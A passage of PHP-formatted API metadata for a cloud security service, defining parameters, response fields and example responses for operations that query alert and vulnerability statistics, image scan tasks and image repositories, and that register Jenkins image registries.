[ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~130972~~) operation to query the IDs of asset groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8076980', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or public IP address of the asset.'."\n", 'type' => 'string', 'required' => false, 'example' => '222.185.XX.XX', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The source of data. Default value: **aqs**. Valid values:'."\n" ."\n" .'* **sas**: Security Center'."\n" .'* **aqs**: Server Guard'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'SuspiciousmediumTotal' => [ 'description' => 'The number of alerts whose risk level is suspicious.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '28', ], 'VulLaterSum' => [ 'description' => 'The number of vulnerabilities whose severity level is medium.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Trojan' => [ 'description' => 'The number of webshell alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Suspicious' => [ 'description' => 'The number of alerts that are generated by Server Guard.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HealthlowTotal' => [ 'description' => 'The number of baseline risk items whose severity is low.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Patch' => [ 'description' => 'The number of Web-CMS vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspiciousseriousTotal' => [ 'description' => 'The number of alerts whose risk level is urgent.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'VulAsapSum' => [ 'description' => 'The number of vulnerabilities whose severity level is high.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '16', ], 'Online' => [ 'description' => 'Indicates whether the agent is online. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'HealthmediumTotal' => [ 'description' => 'The number of baseline risk items whose severity is medium.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Newsuspicious' => [ 'description' => 'The number of alerts that are generated by Server Guard or Security Center.'."\n" ."\n" .'> '."\n" ."\n" .'> * If you set the **Type** parameter to **sas**, this parameter indicates the number of alerts that are generated by Security Center.'."\n" ."\n" .'> * If you set the **Type** parameter to **aqs**, this parameter indicates the number of alerts that are generated by Server Guard.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Account' => [ 'description' => 'The number of logons to the asset.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulDealedTotal' => [ 'description' => 'The total number of fixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspiciousTotal' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspiciousdealedTotal' => [ 'description' => 'The number of handled alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HealthdealedTotal' => [ 'description' => 'The total number of fixed baseline risk items. This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspicioushighTotal' => [ 'description' => 'This parameter is deprecated. This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulNntfSum' => [ 'description' => 'The number of unfixed vulnerabilities whose severity level is low.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulTotal' => [ 'description' => 'The total number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspiciouslowTotal' => [ 'description' => 'The number of alerts whose risk level is reminder.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HealthTotal' => [ 'description' => 'The total number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Vul' => [ 'description' => 'The number of unfixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Health' => [ 'description' => 'The total number of unfixed baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HealthseriousTotal' => [ 'description' => 'The number of baseline risk items whose severity is urgent. This parameter is deprecated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HealthhighTotal' => [ 'description' => 'The number of baseline risk items whose severity is high.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SuspiciousmediumTotal\\": 28,\\n \\"VulLaterSum\\": 0,\\n \\"Trojan\\": 0,\\n \\"Suspicious\\": 0,\\n \\"HealthlowTotal\\": 0,\\n \\"Patch\\": 0,\\n \\"SuspiciousseriousTotal\\": 0,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"VulAsapSum\\": 16,\\n \\"Online\\": true,\\n \\"HealthmediumTotal\\": 0,\\n \\"Newsuspicious\\": 0,\\n \\"Account\\": 0,\\n \\"VulDealedTotal\\": 0,\\n \\"SuspiciousTotal\\": 0,\\n \\"SuspiciousdealedTotal\\": 0,\\n \\"HealthdealedTotal\\": 0,\\n \\"SuspicioushighTotal\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"VulTotal\\": 0,\\n \\"SuspiciouslowTotal\\": 0,\\n \\"HealthTotal\\": 0,\\n \\"Vul\\": 0,\\n \\"Health\\": 0,\\n \\"HealthseriousTotal\\": 0,\\n \\"HealthhighTotal\\": 0\\n}","type":"json"}]', 'title' => 'DescribeTotalStatistics', ], 'DescribeImageLatestScanTask' => [ 'summary' => 'Queries the most recent scan task that is created for an image.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Digest', 'in' => 'query', 'schema' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'required' => true, 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'Task' => [ 'description' => 'An array that consists of the information about the task.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the task. Valid value:'."\n" ."\n" .'* **PROCESSING**: The task is running.'."\n" .'* **START**: The task is being started.'."\n" .'* **MESSAGE_SEND**: The scan task is sent.'."\n" .'* **PRE_ANALYZER**: The image is in precheck.'."\n" .'* **SUCCESS**: The task was successful.'."\n" .'* **FAIL**: The task failed.'."\n" .'* **TIMOUT**: The task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Modified' => [ 'description' => 'The time when the task was last modified. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-12-20 12:00:05', ], 'FinishTime' => [ 'description' => 'The end time of the task. A value is returned only when the task is in the Finished state. Otherwise, the returned value is empty.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1669693430977', ], 'Create' => [ 'description' => 'The time when the task was created. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-12-20 11:59:05', ], 'Finish' => [ 'description' => 'The number of images that are scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Source' => [ 'description' => 'The method in which the task was created. A task can be created in the Security Center console or by calling an API operation. Valid values:'."\n" ."\n" .'* **console_batch**: The task was created in the Security Center console.'."\n" .'* **openapi**: The task was created by calling an API operation.'."\n", 'type' => 'string', 'example' => 'console_batch', ], 'StartTime' => [ 'description' => 'The start time of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1668614400000', ], 'TaskType' => [ 'description' => 'The type of the task. Valid value:'."\n" ."\n" .'* **IMAGE_SCAN**'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'Name' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'IMAGE_SCAN', ], 'TaskId' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => '0a960b9a48b788a8689154b032bf****', ], 'Target' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****', ], 'Id' => [ 'description' => 'The task ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '9755662', ], 'TargetType' => [ 'description' => 'The type of the scanned asset. Valid value:'."\n" ."\n" .'* **IMAGE**'."\n", 'type' => 'string', 'example' => 'IMAGE', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"Task\\": [\\n {\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Modified\\": \\"2022-12-20 12:00:05\\",\\n \\"FinishTime\\": 1669693430977,\\n \\"Create\\": \\"2022-12-20 11:59:05\\",\\n \\"Finish\\": 100,\\n \\"Source\\": \\"console_batch\\",\\n \\"StartTime\\": 1668614400000,\\n \\"TaskType\\": \\"IMAGE_SCAN\\",\\n \\"Name\\": \\"IMAGE_SCAN\\",\\n \\"TaskId\\": \\"0a960b9a48b788a8689154b032bf****\\",\\n \\"Target\\": \\"8f0fbdb41d3d1ade4ffdf21558443f4c03342010563bb8c43ccc09594d50****\\",\\n \\"Id\\": 9755662,\\n \\"TargetType\\": \\"IMAGE\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageLatestScanTask', ], 'DescribeImageRepoList' => [ 'summary' => 'Queries the statistics and configurations of the feature that protects images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the feature. Valid values:'."\n" ."\n" .'* **image_repo**: image repository protection'."\n", 'type' => 'string', 'required' => true, 'example' => 'image_repo', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The condition by which the feature is applied. Valid values:'."\n" ."\n" .'* **image_repo**: the ID of the image repository'."\n", 'type' => 'string', 'required' => true, 'example' => 'image_repo', ], ], [ 'name' => 'RepoName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'script7', ], ], [ 'name' => 'RepoNamespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'required' => false, 'example' => 'libssh2', ], ], [ 'name' => 'OperateType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the operation. Valid values:'."\n" ."\n" .'* **count**: counts statistics'."\n" .'* **other**: others'."\n", 'type' => 'string', 'required' => false, 'example' => 'count', ], ], [ 'name' => 'FieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the field that is used for the query. Valid values:'."\n" ."\n" .'* **repoName**: the name of the image repository'."\n" .'* **repoNamespace**: the namespace to which the image repository belongs'."\n" ."\n" .'> This parameter takes effect only when the **OperateType** parameter is set to **other**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'repoName', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the field that is used for the query.'."\n" ."\n" .'> This parameter takes effect only when the **OperateType** parameter is set to **other**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zeus', ], ], [ 'name' => 'Selected', 'in' => 'query', 'schema' => [ 'description' => 'Whether it is selected. Values:'."\n" ."\n" .'* **0**: NO'."\n" .'* **1**: YES', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'AllTargetCount' => [ 'description' => 'The total number of image repositories.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '25', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', ], 'AddTargetCount' => [ 'description' => 'The number of image repositories that are added to Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'DelTargetCount' => [ 'description' => 'The number of excluded image repositories.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of image repositories.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '83', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'ImageRepoList' => [ 'description' => 'An array that consists of the information about image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image repository.'."\n", 'type' => 'object', 'properties' => [ 'Flag' => [ 'description' => 'Indicates whether the feature takes effect on the image repository. Valid values:'."\n" ."\n" .'* **add**: yes'."\n" .'* **del**: no'."\n", 'type' => 'string', 'example' => 'add', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'zeus', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'sas-script', ], 'ImageCount' => [ 'description' => 'Number of images.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"AllTargetCount\\": 25,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"AddTargetCount\\": 20,\\n \\"DelTargetCount\\": 5,\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 2\\n },\\n \\"ImageRepoList\\": [\\n {\\n \\"Flag\\": \\"add\\",\\n \\"RepoName\\": \\"zeus\\",\\n \\"RepoNamespace\\": \\"sas-script\\",\\n \\"ImageCount\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageRepoList', ], 'CreateJenkinsImageRegistry' => [ 'summary' => 'Creates a Jenkins image repository.', 'methods' => [ 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegistryName', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓别名', 'description' => 'The alias of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testRepo', ], ], [ 'name' => 'RegistryType', 'in' => 'formData', 'schema' => [ 'title' => '容器镜像服务类型 harbor，quory', 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'required' => false, 'example' => 'CI/CD', ], ], [ 'name' => 'RegistryVersion', 'in' => 'formData', 'schema' => [ 'title' => '私有库版本', 'description' => 'The version of the image repository. Default value: -. Valid values:'."\n" ."\n" .'* **-**: the default version'."\n" .'* **V1**: V1.0'."\n" .'* **V2**: V2.0'."\n", 'type' => 'string', 'required' => false, 'example' => 'V1', ], ], [ 'name' => 'ProtocolType', 'in' => 'formData', 'schema' => [ 'title' => '协议类型 1：http 2:https', 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP'."\n" .'* **2**: HTTPS'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'NetType', 'in' => 'formData', 'schema' => [ 'title' => '网络类型 1：公网 2：vpc', 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet'."\n" .'* **2**: Virtual Private Cloud (VPC)'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'VpcId', 'in' => 'formData', 'schema' => [ 'title' => 'vpcId 类型', 'description' => 'The ID of the VPC.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-2ze4aoqgeu51ydfb8****', ], ], [ 'name' => 'RegistryHostIp', 'in' => 'formData', 'schema' => [ 'title' => '主机Ip地址', 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => '114.55.XXX.XXX', ], ], [ 'name' => 'DomainName', 'in' => 'formData', 'schema' => [ 'title' => '主机域名', 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'example.com', ], ], [ 'name' => 'UserName', 'in' => 'formData', 'schema' => [ 'title' => '用户名', 'description' => 'The username.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RegistryUser', ], ], [ 'name' => 'Password', 'in' => 'formData', 'schema' => [ 'title' => '密码', 'description' => 'The password.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Harbor********', ], ], [ 'name' => 'RegionId', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓库所在的regionId', 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-shanghai', ], ], [ 'name' => 'WhiteList', 'in' => 'formData', 'schema' => [ 'title' => '白名单', 'description' => 'The whitelist of IP addresses.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XXX.XXX', ], ], [ 'name' => 'TransPerHour', 'in' => 'formData', 'schema' => [ 'title' => '每小时扫描的镜像数', 'description' => 'The number of images that can be scanned per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '30', ], ], [ 'name' => 'ExtraParam', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓库附加参数', 'description' => 'The additional parameters of the image repository. The value of this parameter contains the following fields:'."\n" ."\n" .'* **namespace**: the namespace'."\n" .'* **authToken**: the authorization token'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"namespace\\":\\"aa\\",\\"authToken\\":\\"aa\\"}]', ], ], [ 'name' => 'PersistenceDay', 'in' => 'formData', 'schema' => [ 'title' => '资产有效天数', 'description' => 'The number of days during which assets can be retained.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '30', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '41.121.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PlainResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The result of creating the image repository.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '唯一ID', 'description' => 'The ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '443496', ], 'GmtCreate' => [ 'title' => '创建日期', 'description' => 'The creation time. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-10-16 18:17:16', ], 'GmtModified' => [ 'title' => '更改日期', 'description' => 'The update time. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-11-21 10:40:01', ], 'RegistryName' => [ 'title' => '镜像仓库别名', 'description' => 'The alias of the image repository.'."\n", 'type' => 'string', 'example' => 'fanyi', ], 'RegistryType' => [ 'title' => '容器镜像服务类型 harbor，quory', 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'example' => 'CI/CD', ], 'ProtocolType' => [ 'title' => '协议类型 1：http 2:https', 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP'."\n" .'* **2**: HTTPS'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NetType' => [ 'title' => '网络类型 1：公网 2：vpc', 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet'."\n" .'* **2**: VPC'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VpcId' => [ 'title' => 'vpcId', 'description' => 'The ID of the VPC.'."\n", 'type' => 'string', 'example' => 'vpc-2vchkxmf2j9yjt3x2****', ], 'RegistryHostIp' => [ 'title' => '主机Ip地址', 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'example' => '1.13.XXX.XXX', ], 'DomainName' => [ 'title' => '域名', 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'example' => 'example.com', ], 'UserName' => [ 'title' => '用户名', 'description' => 'The username.'."\n", 'type' => 'string', 'example' => 'RegistryUser', ], 'Password' => [ 'title' => '密码', 'description' => 'The password.'."\n", 'type' => 'string', 'example' => 'Harbor******', ], 'RegionId' => [ 'title' => '镜像仓库所在的regionId', 'description' => 'The region ID of the image repository.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'Token' => [ 'title' => 'token 用户的唯一标识', 'description' => 'The authentication token of the user.'."\n", 'type' => 'string', 'example' => '3c3c602c-fa1f-4bc0-992f-b4b2cac7****', ], 'WhiteList' => [ 'title' => '白名单', 'description' => 'The whitelist.'."\n", 'type' => 'string', 'example' => '192.168.XXX.XXX', ], 'BlackList' => [ 'title' => '黑名单', 'description' => 'The blacklist.'."\n", 'type' => 'string', 'example' => '61.9.XXX.XXX', ], 'TransPerHour' => [ 'title' => '每小时扫描任务数', 'description' => 'The number of images that can be scanned per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'PersistenceDay' => [ 'title' => '资产保存天数', 'description' => 'The number of days during which assets can be retained.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '1AF1E723-53F1-55BF-A4B2-15CB7A32****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'TimeCost' => [ 'description' => 'The time consumed. Unit: seconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"GmtCreate\\": \\"2022-10-16 18:17:16\\",\\n \\"GmtModified\\": \\"2022-11-21 10:40:01\\",\\n \\"RegistryName\\": \\"fanyi\\",\\n \\"RegistryType\\": \\"CI/CD\\",\\n \\"ProtocolType\\": 1,\\n \\"NetType\\": 1,\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\",\\n \\"RegistryHostIp\\": \\"1.13.XXX.XXX\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Token\\": \\"3c3c602c-fa1f-4bc0-992f-b4b2cac7****\\",\\n \\"WhiteList\\": \\"192.168.XXX.XXX\\",\\n \\"BlackList\\": \\"61.9.XXX.XXX\\",\\n \\"TransPerHour\\": 30,\\n \\"PersistenceDay\\": 30\\n },\\n \\"RequestId\\": \\"1AF1E723-53F1-55BF-A4B2-15CB7A32****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', 'title' => 'CreateJenkinsImageRegistry', ], 'PageImageRegistry' => [ 'summary' => 'Queries image repositories by page.', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RegistryTypeInList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'title' => '镜像仓类型in', 'description' => 'The types of image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry'."\n" .'* **harbor**: Harbor'."\n" .'* **quay**: Quay'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'required' => false, 'example' => 'acr', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'RegistryTypeNotInList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'title' => '镜像仓类型not in', 'description' => 'The types of excluded image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the excluded image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry'."\n" .'* **harbor**: Harbor'."\n" .'* **quay**: Quay'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'required' => false, 'example' => 'quay', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'RegistryNameLike', 'in' => 'formData', 'schema' => [ 'title' => '镜像仓名称', 'description' => 'The name of the image repository. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'asa', ], ], [ 'name' => 'CurrentPage', 'in' => 'formData', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'formData', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '140.207.XXX.XXX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'PageResult', 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image repository.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'title' => '唯一ID', 'description' => 'The ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1078312', ], 'GmtCreate' => [ 'title' => '创建日期', 'description' => 'The time when the image repository was created. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-08-30 10:23:30', ], 'GmtModified' => [ 'title' => '更改日期', 'description' => 'The time when the image repository was updated. The time is in the yyyy-MM-dd HH:mm:ss format.'."\n", 'type' => 'string', 'example' => '2022-09-30 10:23:30', ], 'RegistryName' => [ 'title' => '镜像仓库别名', 'description' => 'The alias of the image repository.'."\n", 'type' => 'string', 'example' => 'test1', ], 'RegistryType' => [ 'title' => '容器镜像服务类型 harbor，quory', 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry.'."\n" .'* **harbor**: Harbor.'."\n" .'* **quay**: Quay.'."\n" .'* **CI/CD**: Jenkins.'."\n", 'type' => 'string', 'example' => 'harbor', ], 'ProtocolType' => [ 'title' => '协议类型 1：http 2:https', 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP.'."\n" .'* **2**: HTTPS.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NetType' => [ 'title' => '网络类型 1：公网 2：vpc', 'description' => 'The network type. Valid values:'."\n" ."\n" .'* 